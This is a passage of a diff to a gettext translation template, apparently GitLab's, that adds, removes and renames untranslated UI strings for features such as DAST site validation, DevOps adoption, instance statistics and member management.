+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,7 +9061,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9338,6 +9583,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10137,7 +10463,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10854,9 +11189,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10893,6 +11225,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11986,9 +12339,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12637,6 +12984,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12880,15 +13233,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13717,6 +14061,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14153,9 +14494,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14219,6 +14560,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15543,6 +15935,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15823,6 +16215,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15850,9 +16245,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15883,9 +16275,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16138,6 +16512,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16916,6 +17314,9 @@ msgstr ""
